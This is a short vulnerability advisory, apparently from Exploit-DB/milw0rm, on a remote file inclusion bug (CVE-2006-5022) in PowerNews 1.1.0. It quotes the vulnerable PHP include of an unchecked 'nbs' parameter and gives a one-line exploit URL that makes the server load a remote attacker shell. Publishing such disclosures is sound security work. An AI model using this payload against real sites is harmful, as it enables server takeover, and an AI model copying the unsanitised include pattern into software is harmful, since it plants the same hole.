pNews 1.1.0 - 'nbs' Remote File Inclusion

Author: CvIr.System
type: webapps
platform: php
port: 
date_added: 2006-09-20 
date_updated: 2016-12-05 
verified: 1 
codes: OSVDB-30921;CVE-2006-5022 
tags: 
aliases:  
screenshot_url:  
application_url: http://www.exploit-db.compnews110.tar.gz

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                         PowerNews v1.1.0 (nbs) Remote File Inclusion
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                          Affected Software .: PowerNews v1.1.0
                          Download..: http://sourceforge.net/project/showfiles.php?group_id=35550
			  Class .............: Remote File Inclusion
                          Risk ..............: high
                          Found by ..........: CvIr.System
                          Contact ...........: CvIr.System[at]gmail.com
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

     Affected File:
includes/global.php

 Vulnerable Code:

if(@fopen($nbs .'./includes/config.php', 'a'))
{
    die("config.php is writeable by your webserver, this is a possible security risk.");
}

include($nbs .'./includes/config.php');
include($nbs .'./includes/auth.php');
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Exploit:

    http://[target]/includes/global.php?nbs=[shell]?

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
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# milw0rm.com [2006-09-21]